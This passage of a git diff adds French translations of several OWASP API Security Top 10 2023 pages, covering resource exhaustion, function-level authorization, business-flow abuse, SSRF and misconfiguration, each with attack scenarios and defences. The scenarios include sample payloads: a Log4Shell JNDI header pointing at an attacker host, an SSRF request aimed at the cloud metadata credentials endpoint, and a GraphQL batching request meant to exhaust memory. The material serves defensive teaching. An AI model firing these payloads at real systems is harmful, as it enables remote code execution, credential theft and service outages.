Au lieu de cela, choisissez spécifiquement les propriétés de l'objet que vous souhaitez retourner. +* Si possible, évitez d'utiliser des fonctions qui lient automatiquement l'entrée du client à des variables dans du code, des objets internes ou des propriétés d'objet ("Mass Assignment"). +* Autorisez uniquement les modifications des propriétés de l'objet qui peuvent être mises à jour par le client. +* Mettez en œuvre un mécanisme de validation des réponses basé sur un schéma en tant que couche de sécurité supplémentaire. Dans le cadre de ce mécanisme, définissez et appliquez les données retournées par toutes les méthodes API. +* Gardez les structures de données retournées au strict minimum, conformément aux exigences commerciales/fonctionnelles pour le point d'accès. + +## Références + +### OWASP + +* [API3:2019 Excessive Data Exposure - OWASP API Security Top 10 2019][1] +* [API6:2019 - Mass Assignment - OWASP API Security Top 10 2019][2] +* [Mass Assignment Cheat Sheet][3] + +### Externes + +* [CWE-213: Exposure of Sensitive Information Due to Incompatible Policies][4] +* [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes][5] + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html +[4]: https://cwe.mitre.org/data/definitions/213.html +[5]: https://cwe.mitre.org/data/definitions/915.html diff --git a/editions/2023/fr/0xa4-unrestricted-resource-consumption.md b/editions/2023/fr/0xa4-unrestricted-resource-consumption.md new file mode 100644 index 000000000..5d9e6e17c --- /dev/null +++ b/editions/2023/fr/0xa4-unrestricted-resource-consumption.md @@ -0,0 +1,133 @@ +# API4:2023 Unrestricted Resource Consumption + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Moyenne** | Prévalence **Répandue** : Détection **Facile** | Technique **Grave** : Spécifique à l'organisation | +| L'exploitation de cette faille nécessite des requêtes API simples. Plusieurs requêtes simultanées peuvent être effectuées à partir d'un seul ordinateur local ou en utilisant des ressources cloud. La plupart des outils automatisés disponibles sont conçus pour provoquer un déni de service (DoS) via des charges de trafic élevées, impactant le taux de service des API. | Il est courant de trouver des API qui ne limitent pas les interactions client ou la consommation de ressources. Écrire et tester avec des requêtes API incluant des paramètres qui contrôlent le nombre de ressources à renvoyer et qui effectuent une analyse de l'état/du temps/de la longueur de la réponse, devraient permettre d'identifier le problème. Il en va de même pour les opérations groupées. Bien que les attaquants n'aient pas de visibilité sur l'impact des coûts, cela peut être déduit en fonction du modèle commercial/tarifaire des fournisseurs de services (par exemple, le fournisseur de services cloud). | L'exploitation peut entraîner un déni de service (DoS) en raison de l'épuisement des ressources, mais elle peut également entraîner une augmentation des coûts opérationnels tels que ceux liés à l'infrastructure : en raison d'une demande accrue en CPU, l'augmentation des besoins en stockage sur le cloud, etc. | + +## L'API est-elle vulnérable ? + +Satisfaire les requêtes API nécessite des ressources telles que la bande passante réseau, le CPU, la mémoire et le stockage. Parfois, les ressources requises sont mises à disposition par les fournisseurs de services via des intégrations API, et payées par requête, comme l'envoi d'e-mails/SMS/appels téléphoniques, la validation biométrique, etc. + +Une API est vulnérable si au moins l'une des limites suivantes est manquante ou définie de manière inappropriée (par exemple, trop basse/élevée) : + +* Limites de temps d'exécution +* Mémoire allouable maximale +* Nombre maximal de descripteurs de fichiers (file descriptors) +* Nombre maximal de processus +* Taille maximale de fichier téléchargeable (upload) +* Nombre d'opérations à effectuer dans une seule requête client API (par exemple, le regroupement GraphQL) +* Nombre d'enregistrements par page à renvoyer dans une seule requête-réponse +* Limite de dépenses des fournisseurs de services tiers + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Un réseau social a mis en place un flux de "mot de passe oublié" utilisant la vérification par SMS, permettant à l'utilisateur de recevoir un jeton unique via SMS pour réinitialiser son mot de passe. + +Une fois qu'un utilisateur clique sur "mot de passe oublié", un appel API est envoyé depuis le navigateur de l'utilisateur vers l'API back-end : + +``` +POST /initiate_forgot_password + +{ + "step": 1, + "user_number": "6501113434" +} +``` + +Ensuite, en coulisses, un appel API est envoyé depuis le back-end vers une API tierce qui se charge de l'envoi du SMS : + +``` +POST /sms/send_reset_pass_code + +Host: willyo.net + +{ + "phone_number": "6501113434" +} +``` + +Le fournisseur tiers, Willyo, facture 0,05 $ par envoi SMS. + +Un attaquant écrit un script qui envoie le premier appel API des dizaines de milliers de fois. Le back-end suit et demande à Willyo d'envoyer des dizaines de milliers de SMS, ce qui conduit l'entreprise à perdre des milliers de dollars en quelques minutes. + +### Scénario #2 + +Un endpoint API GraphQL permet à l'utilisateur de télécharger une photo de profil. + +``` +POST /graphql + +{ + "query": "mutation { + uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") { + url + } + }" +} +``` + +Une fois le téléchargement terminé, l'API génère plusieurs miniatures de tailles différentes basées sur l'image téléchargée. Cette opération graphique consomme beaucoup de mémoire. + +L'API met en œuvre une protection traditionnelle de "rate limiting" - un utilisateur ne peut pas accéder trop de fois à l'endpoint GraphQL en peu de temps. L'API vérifie également la taille de l'image téléchargée avant de générer des miniatures pour éviter de traiter des images trop grandes. + +Un attaquant peut facilement contourner ces mécanismes, en exploitant la nature flexible de GraphQL : + +``` +POST /graphql + +[ + {"query": "mutation {uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + {"query": "mutation {uploadPic(name: \"pic2\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + ... + {"query": "mutation {uploadPic(name: \"pic999\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, +} +``` + +Comme l'API ne limite pas le nombre de fois où l'opération `uploadPic` peut être tentée, l'appel entraînera l'épuisement de la mémoire du serveur et un déni de service. + +### Scénario #3 + +Un fournisseur de services permet aux clients de télécharger des fichiers de grande taille via une API. Ces fichiers sont stockés dans un stockage d'objets cloud et ne changent pas souvent. Le fournisseur de services s'appuie sur un service de cache pour avoir un meilleur taux de service et pour maintenir une faible consommation de bande passante. Le service de cache ne met en cache que les fichiers ayant une taille de maximum 15 Go. + +Quand l'un des fichiers est mis à jour, sa taille augmente à 18 Go. Tous les clients du service commencent immédiatement à télécharger la nouvelle version. Comme il n'y a pas eu d'alertes sur le coût de consommation, ni de limite de coût maximal pour le service cloud, la facture mensuelle suivante passe de 13 $ en moyenne à 8 000 $. + +## Comment s'en prémunir + +* Utilisez une solution qui facilite la limitation de la [mémoire][1], du [CPU][2], du [nombre de redémarrages][3], des descripteurs de fichiers et des processus tels que les conteneurs / le code Serverless (par exemple, les Lambdas). +* Définissez et appliquez une taille maximale de données sur tous les paramètres et payloads entrants, telle que la longueur maximale des chaînes, le nombre maximal d'éléments dans les tableaux et la taille maximale des fichiers téléchargés (qu'ils soient stockés localement ou dans un stockage cloud). +* Mettez en place une limite sur la fréquence à laquelle un client peut interagir avec l'API dans un intervalle de temps défini (rate limiting). +* Le "rate limiting" doit être ajustée méticuleusement en fonction des besoins de l'entreprise. Certains points d'accès API peuvent nécessiter des politiques plus strictes. +* Limitez/ralentissez le nombre de fois ou la fréquence à laquelle un client/utilisateur API défini peut exécuter certaines opérations (par exemple, valider un OTP, ou demander une récupération de mot de passe sans visiter l'URL à usage unique). +* Ajoutez une validation appropriée côté serveur pour les paramètres de la requête et son contenu, en particulier ceux qui contrôlent le nombre d'enregistrements à renvoyer dans la réponse (principe de pagination). +* Configurez des limites de dépenses pour tous les fournisseurs de services/intégrations API. Lorsque cela n'est pas possible, configurez plutôt des alertes de facturation. + +## Références + +### OWASP + +* ["Availability" - Web Service Security Cheat Sheet][5] +* ["DoS Prevention" - GraphQL Cheat Sheet][6] +* ["Mitigating Batching Attacks" - GraphQL Cheat Sheet][7] + +### Externes + +* [CWE-770: Allocation of Resources Without Limits or Throttling][8] +* [CWE-400: Uncontrolled Resource Consumption][9] +* [CWE-799: Improper Control of Interaction Frequency][10] +* "Rate Limiting (Throttling)" - [Security Strategies for Microservices-based + Application Systems][11], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#ulimit +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability +[6]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention +[7]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks +[8]: https://cwe.mitre.org/data/definitions/770.html +[9]: https://cwe.mitre.org/data/definitions/400.html +[10]: https://cwe.mitre.org/data/definitions/799.html +[11]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf diff --git a/editions/2023/fr/0xa5-broken-function-level-authorization.md b/editions/2023/fr/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..1adcddac0 --- /dev/null +++ b/editions/2023/fr/0xa5-broken-function-level-authorization.md @@ -0,0 +1,70 @@ +# API5:2023 Broken Function Level Authorization + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Courante** : Détectabilité **Facile** | Technique **Grave** : Spécifique à l'organisation | +| L'exploitation nécessite que l'attaquant envoie des appels API légitimes à un point d'accès API auquel il ne devrait pas avoir accès en tant qu'utilisateur anonyme ou utilisateur régulier, non privilégié. Les points d'accès exposés seront facilement exploités. | Les vérifications d'autorisation pour une fonction ou une ressource sont généralement gérées via la configuration ou le code. Implémenter des vérifications appropriées peut être une tâche confuse car les applications modernes peuvent contenir de nombreux types de rôles, de groupes et de hiérarchies d'utilisateurs complexes (par exemple, des sous-utilisateurs ou des utilisateurs avec plus d'un rôle). Il est plus facile de découvrir ces failles dans les API car les API sont plus structurées et l'accès à différentes fonctions est plus prévisible. | De telles failles permettent aux attaquants d'accéder à des fonctionnalités non autorisées. Les fonctions d'administration sont des cibles clés pour ce type d'attaque et peuvent entraîner une divulgation de données, une perte de données ou une corruption de données. En fin de compte, cela peut entraîner une interruption de service. | + + +## L'API est-elle vulnérable ? + +La meilleure façon de trouver des problèmes d'autorisation au niveau de la fonction est de réaliser une analyse approfondie du mécanisme d'autorisation tout en gardant à l'esprit la hiérarchie des utilisateurs, les différents rôles ou groupes dans l'application, et en posant les questions suivantes : + +* Un utilisateur régulier peut-il accéder à des points d'accès d'administration ? +* Un utilisateur peut-il effectuer des actions sensibles (par exemple, création, modification ou suppression) auxquelles il ne devrait pas avoir accès en modifiant simplement la méthode HTTP (par exemple, de `GET` à `DELETE`) ? +* Un utilisateur du groupe X peut-il accéder à une fonction qui devrait être exposée uniquement aux utilisateurs du groupe Y, en devinant simplement l'URL de l'endpoint et les paramètres (par exemple, `/api/v1/users/export_all`) ? + +Ne supposez pas qu'un point d'accès API est quelconque ou au contraire est un endpoint d'administration seulement par son URL. + +Certains développeurs peuvent choisir d'exposer la plupart des points d'accès d'administration sous un chemin relatif spécifique, comme `/api/admins`, mais il est également très courant de les trouver sous d'autres chemins relatifs, partagés avec d'autres endpoints plus classiques dans les applications, comme `/api/users`. + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Pendant le processus d'inscription pour une application qui n'autorise que les utilisateurs invités à rejoindre, l'application mobile déclenche un appel API à `GET /api/invites/{invite_guid}`. La réponse contient un JSON avec les détails de l'invitation, y compris le rôle de l'utilisateur et l'e-mail de l'utilisateur. + +Un attaquant duplique la requête et manipule la méthode HTTP et le point d'accès pour `POST /api/invites/new`. Cet endpoint ne devrait être accessible que par les administrateurs via la console d'administration. L'endpoint ne met pas en œuvre de vérifications d'autorisation au niveau de la fonction. + +L'attaquant exploite le problème et envoie une nouvelle invitation avec des privilèges administrateur : + +``` +POST /api/invites/new + +{ + "email": "attacker@somehost.com", + "role":"admin" +} +``` + +Plus tard, l'attaquant utilise l'invitation malveillante pour se créer un compte administrateur et obtenir un accès complet au système. + +### Scénario #2 + +Une API contient un point d'accès qui ne devrait être exposé qu'aux administrateurs - `GET /api/admin/v1/users/all`. Cet endpoint renvoie les détails de tous les utilisateurs de l'application et ne met pas en œuvre de vérifications d'autorisation au niveau de la fonction. Un attaquant ayant compris la structure de l'API devine adroitement comment accéder à cet endpoint, par l'URL, et retrouve ainsi tous les détails sensibles des utilisateurs pour cette application. + +## Comment s'en prémunir ? + +Votre application doit disposer d'un module d'autorisation cohérent et facile à analyser qui est invoqué depuis toutes vos fonctions métier. Souvent, cette protection est fournie par un ou plusieurs composants externes au code de l'application. + +* Le(s) mécanisme(s) de contrôle d'accès doivent refuser tout accès par défaut, exigeant des autorisations explicites pour des rôles spécifiques pour accéder à chaque fonction. +* Passez en revue vos endpoints contre les failles d'autorisation au niveau de la fonction, tout en gardant à l'esprit la logique métier de l'application et la hiérarchie des groupes. +* Assurez-vous que tous vos contrôleurs d'administration héritent d'un contrôleur d'administration abstrait qui implémente des vérifications d'autorisation basées sur le groupe/le rôle de l'utilisateur. +* Assurez-vous que les fonctions d'administration adjointes à un contrôleur régulier (i.e. non dédié à l'admistration de l'application, e.g. : PaymentController, InvitationController, etc.) implémentent des vérifications d'autorisation basées sur le groupe et le rôle de l'utilisateur. + +## Références + +### OWASP + +* [Forced Browsing][1] +* "A7: Missing Function Level Access Control", [OWASP Top 10 2013][2] +* [Access Control][3] + +### Externes + +* [CWE-285: Improper Authorization][4] + +[1]: https://owasp.org/www-community/attacks/Forced_browsing +[2]: https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf +[3]: https://owasp.org/www-community/Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html diff --git a/editions/2023/fr/0xa6-unrestricted-access-to-sensitive-business-flows.md b/editions/2023/fr/0xa6-unrestricted-access-to-sensitive-business-flows.md new file mode 100644 index 000000000..7e606c184 --- /dev/null +++ b/editions/2023/fr/0xa6-unrestricted-access-to-sensitive-business-flows.md @@ -0,0 +1,74 @@ +# API6:2023 Unrestricted Access to Sensitive Business Flows + +| Facteurs de menace/Vecteurs d'attaque | Faille de sécurité | Impacts | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Répandue** : Détectabilité **Moyenne** | Technique **Modérée** : Spécifique à l'organisation | +| L'exploitation implique généralement de comprendre le modèle commercial soutenu par l'API, de trouver des flux commerciaux sensibles et d'automatiser l'accès à ces flux, causant des dommages à l'entreprise. | Le manque de vue holistique de l'API pour soutenir pleinement les exigences commerciales tend à contribuer à la prévalence de ce problème. Les attaquants identifient manuellement les ressources (par exemple, les points d'accès) impliquées dans le flux cible et comment elles fonctionnent ensemble. Si des mécanismes d'atténuation sont déjà en place, les attaquants doivent trouver un moyen de les contourner. | En général, l'impact technique n'est pas attendu. L'exploitation pourrait nuire à l'entreprise de différentes manières, par exemple : empêcher les utilisateurs légitimes d'acheter un produit, ou entraîner une inflation dans l'économie. | + +## L'API est-elle vulnérable ? + +Lors de la création d'un point d'accès (endpoint) API, il est important de comprendre le flux commercial qu'il expose. Certains flux commerciaux sont plus sensibles que d'autres, dans le sens où un accès excessif à ces flux peut nuire à l'entreprise. + +Des exemples courants de flux commerciaux sensibles et des risques d'accès excessif associés : + +* Achat d'un produit - un attaquant peut acheter tout le stock d'un article très demandé en une fois et de tous les revendre à un prix plus élevé +* Création d'un flux de commentaires/publications - un attaquant peut spammer le système +* Réservation - un attaquant peut réserver tous les créneaux horaires disponibles + et empêcher d'autres utilisateurs d'utiliser le système + +Le risque d'accès excessif peut varier entre les secteurs et les entreprises. Par exemple, la création de publications par un script peut être considérée comme un risque de spam par un réseau social, mais encouragée par un autre réseau social. + +Une API est vulnérable si elle expose un flux commercial sensible sans restreindre de manière appropriée l'accès à celui-ci. + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Une entreprise de tech annonce qu'elle va sortir une nouvelle console de jeu le jour de Thanksgiving. Le produit est très demandé et le stock est limité. Un attaquant écrit un code pour acheter automatiquement le nouveau produit et finaliser la transaction. + +Le jour de la sortie, l'attaquant exécute le code distribué sur différentes adresses IP et emplacements. L'API ne met pas en place les protections appropriées et permet à l'attaquant d'acheter la majorité du stock avant les autres utilisateurs légitimes. + +Plus tard, l'attaquant revend le produit sur une autre plateforme pour un prix beaucoup plus élevé. + +### Scénario #2 + +Une compagnie aérienne propose l'achat de billets en ligne sans frais d'annulation. Un utilisateur malveillant réserve 90% des sièges d'un vol désiré. + +Quelques jours avant le vol, l'utilisateur malveillant annule tous les billets en une seule fois, forçant la compagnie aérienne à réduire les prix des billets pour remplir le vol. + +À ce stade, l'utilisateur achète un seul billet qui est beaucoup moins cher que le billet original. + +### Scénario #3 + +Une application de covoiturage propose un programme de parrainage - les utilisateurs peuvent inviter leurs amis et gagner des crédits pour chaque ami qui a rejoint l'application. Ces crédits peuvent être utilisés plus tard comme de l'argent pour réserver des trajets. + +Un attaquant exploite ce flux en écrivant un script pour automatiser le processus d'inscription, chaque nouvel utilisateur ajoutant des crédits au portefeuille de l'attaquant. + +L'attaquant peut ensuite profiter de trajets gratuits ou vendre les comptes avec des crédits excessifs contre de l'argent. + +## Comment s'en prémunir ? + +La planification de mitigation doit être effectuée en deux couches : + +* Business - identifier les flux commerciaux qui pourraient nuire à l'entreprise s'ils "taient utilisés de manière excessive. +* Ingénierie - choisir les bons mécanismes de protection pour atténuer le risque commercial. + + Certains mécanismes de protection sont plus simples tandis que d'autres sont plus difficiles à mettre en œuvre. Les méthodes suivantes sont utilisées pour ralentir les menaces automatisées : + + * Empreinte de l'appareil : refuser le service aux appareils clients inattendus (par exemple, les navigateurs sans interface graphique) tend à inciter les acteurs malveillants à utiliser des solutions plus sophistiquées, donc plus coûteuses pour eux + * Détection humaine : utiliser soit un captcha, soit des solutions biométriques plus avancées (par exemple : biométrie par modèles de frappe) + * Modèles non humains : analyser le flux de l'utilisateur pour détecter les modèles non humains (par exemple, l'utilisateur a accédé aux fonctions "ajouter au panier" et "compléter l'achat" en moins d'une seconde) + * Considérer le blocage des adresses IP des nœuds de sortie Tor et des proxies bien connus + + Sécurisez et limitez l'accès aux API qui sont consommées directement par des machines (comme les API de développeur et B2B). Elles sont souvent une cible facile pour les attaquants car elles n'implémentent souvent pas tous les mécanismes de protection nécessaires. + +## Références + +### OWASP + +* [OWASP Automated Threats to Web Applications][1] +* [API10:2019 Insufficient Logging & Monitoring][2] + +[1]: https://owasp.org/www-project-automated-threats-to-web-applications/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xaa-insufficient-logging-monitoring/ + diff --git a/editions/2023/fr/0xa7-server-side-request-forgery.md b/editions/2023/fr/0xa7-server-side-request-forgery.md new file mode 100644 index 000000000..029bd7c9e --- /dev/null +++ b/editions/2023/fr/0xa7-server-side-request-forgery.md @@ -0,0 +1,137 @@ +# API7:2023 Server Side Request Forgery + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impacts | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Courante** : Détectabilité **Facile** | Technique **Modérée** : Spécifique à l'organisation | +| L'exploitation nécessite que l'attaquant trouve un point d'accès API qui accède à une URI fournie par le client. En général, l'exploitation de la SSRF de base (lorsque la réponse est renvoyée à l'attaquant) est plus facile que la SSRF aveugle, dans laquelle l'attaquant n'a aucun retour d'information sur le succès de l'attaque. | Les concepts modernes de développement d'applications encouragent les développeurs à accéder à des URI fournies par le client. Le manque de validation ou une validation incorrecte de ces URI sont des problèmes courants. L'analyse des réponses et des requêtes associées sera nécessaire pour détecter le problème. Lorsque la réponse n'est pas renvoyée (SSRF aveugle), la détection de la vulnérabilité nécessite plus d'efforts et de créativité. | L'exploitation réussie peut entraîner une énumération des services internes (par exemple, un balayage de ports), une divulgation d'informations, le contournement des pare-feu ou d'autres mécanismes de sécurité. Dans certains cas, cela peut entraîner un déni de service ou l'utilisation du serveur comme proxy pour masquer des activités malveillantes. | + +## L'API est-elle vulnérable ? + +La SSRF (Server-Side Request Forgery) se produit lorsqu'une API récupère une ressource distante sans valider l'URL fournie par l'utilisateur. Cela permet à un attaquant de forcer l'application à envoyer une requête forgée vers une destination inattendue, même si elle est protégée par un pare-feu ou un VPN. + +Les concepts modernes de développement d'applications rendent la SSRF plus courante et plus dangereuse. + +Encore plus courant - les concepts suivants encouragent les développeurs à accéder à une ressource externe en fonction de l'entrée utilisateur : les webhooks, le téléchargement de fichiers à partir d'URL, les SSO personnalisés et les aperçus d'URL. + +Encore plus dangereux - les technologies modernes comme les fournisseurs de cloud, Kubernetes et Docker exposent des canaux de gestion et de contrôle via HTTP sur des chemins prévisibles et bien connus. Ces canaux sont une cible facile pour une attaque SSRF. + +Il est de plus en plus difficile de limiter le trafic sortant de votre application, en raison de la nature connectée des applications modernes. + +Le risque de SSRF ne peut pas toujours être complètement éliminé. Lors du choix d'un mécanisme de protection, il est important de tenir compte des risques et des besoins de l'entreprise. + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Un réseau social permet aux utilisateurs de télécharger des photos de profil. L'utilisateur peut choisir de télécharger le fichier image depuis sa machine, ou de fournir l'URL de l'image. En choisissant la seconde option, cela déclenchera l'appel API suivant : + +``` +POST /api/profile/upload_picture + +{ + "picture_url": "http://example.com/profile_pic.jpg" +} +``` + +Un attaquant peut envoyer une URL malveillante et initier un balayage de ports à l'intérieur du réseau interne en utilisant le point d'accès API. + +``` +{ + "picture_url": "localhost:8080" +} +``` + +En fonction du temps de réponse, l'attaquant peut déterminer si le port est ouvert ou non. + +### Scénario #2 + +Un service de sécurité génère des événements lorsqu'il détecte des anomalies dans le réseau. Certaines équipes préfèrent examiner les événements dans un système de surveillance plus large et plus générique, tel qu'un SIEM (Security Information and Event Management). À cette fin, le produit fournit une intégration avec d'autres systèmes en utilisant des webhooks. + +Dans le cadre de la création d'un nouveau webhook, une mutation GraphQL est envoyée avec l'URL de l'API SIEM. + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://www.siem-system.com/create_new_event\", + send_test_req: true + } + ] + } + }){ + channelId + } + }" + } +] + +``` + +Pendant le processus de création, l'API back-end envoie une requête de test à l'URL du webhook fournie, et présente à l'utilisateur la réponse. + +Un attaquant peut exploiter ce flux, et faire en sorte que l'API envoie une requête à une ressource sensible, telle qu'un service interne cloud de métadonnées qui expose des informations d'identification : + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\", + send_test_req: true + } + ] + } + }) { + channelId + } + } + } +] +``` + +Puisque l'application affiche la réponse de la requête de test, l'attaquant peut voir les informations d'identification de l'environnement cloud. + +## Comment s'en prémunir + +* Isoler le mécanisme de récupération des ressources dans votre réseau : ces fonctionnalités sont généralement destinées à récupérer des ressources distantes et non internes. +* Chaque fois que possible, utilisez des listes d'autorisation : + * Les origines distantes à partir desquelles les utilisateurs sont censés télécharger des ressources (par exemple, Google Drive, Gravatar, etc.) + * Les schémas d'URL et les ports + * Les types de médias acceptés pour une fonctionnalité donnée +* Désactivez les redirections HTTP. +* Utilisez un analyseur d'URL bien testé et maintenu pour éviter les problèmes causés par des incohérences d'analyse d'URL. +* Validez et assainissez toutes les données d'entrée fournies par le client. +* Ne renvoyez pas de réponses brutes aux clients. + +## Références + +### OWASP + +* [Server Side Request Forgery][1] +* [Server-Side Request Forgery Prevention Cheat Sheet][2] + +### Externes + +* [CWE-918: Server-Side Request Forgery (SSRF)][3] +* [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies, + Snyk][4] + +[1]: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/918.html +[4]: https://snyk.io/blog/url-confusion-vulnerabilities/ diff --git a/editions/2023/fr/0xa8-security-misconfiguration.md b/editions/2023/fr/0xa8-security-misconfiguration.md new file mode 100644 index 000000000..ae8156927 --- /dev/null +++ b/editions/2023/fr/0xa8-security-misconfiguration.md @@ -0,0 +1,100 @@ +# API8:2023 Security Misconfiguration + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Courante** : Détectabilité **Facile** | Technique **Grave** : Spécifique à l'organisation | +| Les attaquants cherchent souvent à trouver des failles non corrigées, des points d'accès courants, des services fonctionnant avec des configurations par défaut non sécurisées ou des fichiers et répertoires non protégés pour obtenir un accès non autorisé ou des informations sur le système. La plupart de ces informations sont publiques et des exploits peuvent être disponibles. | La mauvaise configuration de sécurité peut se produire à n'importe quel niveau de la pile API, du réseau à l'application. Des outils automatisés sont disponibles pour détecter et exploiter des configurations incorrectes telles que des services inutiles ou des options héritées. | Les mauvaises configurations de sécurité exposent non seulement des données utilisateur sensibles, mais aussi des détails système qui peuvent conduire à la compromission complète du serveur. | + +## L'API est-elle vulnérable ? + +L'API peut être vulnérable si : + +* La sécurisation appropriée est absente à travers n'importe quelle partie de la pile API, ou si les permissions sur les services cloud sont mal configurées +* Les derniers correctifs de sécurité sont manquants, ou si les systèmes sont obsolètes +* Des fonctionnalités inutiles sont activées (par exemple, les verbes HTTP, les fonctionnalités de journalisation) +* Il y a des divergences dans la façon dont les requêtes entrantes sont traitées par les serveurs dans la chaîne du serveur HTTP +* La sécurité du transport (TLS) est absente +* Les directives de sécurité ou de contrôle de cache ne sont pas envoyées aux clients +* Une politique Cross-Origin Resource Sharing (CORS) est manquante ou mal configurée +* Les messages d'erreur incluent des traces de pile, ou exposent d'autres informations sensibles + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Un serveur back-end d'API maintient un journal d'accès écrit par un utilitaire de journalisation open-source populaire avec prise en charge de l'expansion de paramètres et des recherches JNDI (Java Naming and Directory Interface), tous deux activés par défaut. Pour chaque requête, une nouvelle entrée est écrite dans le fichier journal avec le modèle suivant : ` / - `. + +Un acteur malveillant émet la requête API suivante, qui est écrite dans le fichier journal d'accès : + +``` +GET /health +X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class} +``` + +En raison de la configuration par défaut non sécurisée de l'utilitaire de journalisation et d'une politique de sortie réseau permissive, pour écrire l'entrée correspondante dans le journal d'accès, tout en développant la valeur de l'en-tête de requête `X-Api-Version`, l'utilitaire de journalisation va extraire et exécuter l'objet `Malicious.class` du serveur contrôlé à distance par l'attaquant. + +### Scénario #2 + +Un site web de réseau social propose une fonctionnalité de "Message Direct" qui permet aux utilisateurs de garder des conversations privées. Pour récupérer de nouveaux messages pour une conversation spécifique, le site web émet la requête API suivante (l'interaction de l'utilisateur n'est pas requise) : + +``` +GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA +``` + +Parce que la réponse de l'API ne comprend pas l'en-tête HTTP `Cache-Control`, les conversations privées sont mises en cache par le navigateur web, permettant aux acteurs malveillants de les récupérer à partir des fichiers de cache du navigateur. + +## Comment s'en prémunir ? + +Le cycle de vie de l'API devrait inclure : + +* Un processus de durcissement reproductible menant à un déploiement rapide et facile d'un environnement correctement sécurisé +* Une tâche pour examiner et mettre à jour les configurations dans toute la pile API. L'examen devrait inclure : les fichiers d'orchestration, les composants API et les services cloud (par exemple, les autorisations de compartiment S3) +* Un processus automatisé pour évaluer en continu l'efficacité de la configuration et des paramètres dans tous les environnements + +De plus : + +* Assurez-vous que toutes les communications API du client vers le serveur API et tout composant en aval/amont se font sur un canal de communication chiffré (TLS), qu'il s'agisse d'une API interne ou publique. +* Soyez spécifique sur les verbes HTTP par lesquels chaque API peut être accédée : tous les autres verbes HTTP devraient être désactivés (par exemple, HEAD). +* Les API s'attendant à être accessibles depuis des clients basés sur un navigateur (par exemple, une interface WebApp) devraient, au moins : + * implémenter une politique Cross-Origin Resource Sharing (CORS) appropriée + * inclure les en-têtes de sécurité applicables +* Restreignez les types de contenu/format de données entrants à ceux qui répondent aux exigences commerciales/fonctionnelles. +* Assurez-vous que tous les serveurs dans la chaîne du serveur HTTP (par exemple, les équilibreurs de charge, les proxies et les proxies inverses, ainsi que les serveurs back-end) traitent les requêtes entrantes de manière uniforme pour éviter les problèmes de désynchronisation. +* Lorsque cela est applicable, définissez et appliquez tous les schémas de charge utile de réponse API, y compris les réponses d'erreur, pour empêcher les traces d'exception et d'autres informations précieuses d'être renvoyées aux attaquants. + +## Références + +### OWASP + +* [OWASP Secure Headers Project][1] +* [Configuration and Deployment Management Testing - Web Security Testing + Guide][2] +* [Testing for Error Handling - Web Security Testing Guide][3] +* [Testing for Cross Site Request Forgery - Web Security Testing Guide][4] + +### Externes + +* [CWE-2: Environmental Security Flaws][5] +* [CWE-16: Configuration][6] +* [CWE-209: Generation of Error Message Containing Sensitive Information][7] +* [CWE-319: Cleartext Transmission of Sensitive Information][8] +* [CWE-388: Error Handling][9] +* [CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response + Smuggling')][10] +* [CWE-942: Permissive Cross-domain Policy with Untrusted Domains][11] +* [Guide to General Server Security][12], NIST +* [Let's Encrypt: a free, automated, and open Certificate Authority][13] + +[1]: https://owasp.org/www-project-secure-headers/ +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README +[3]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README +[4]: 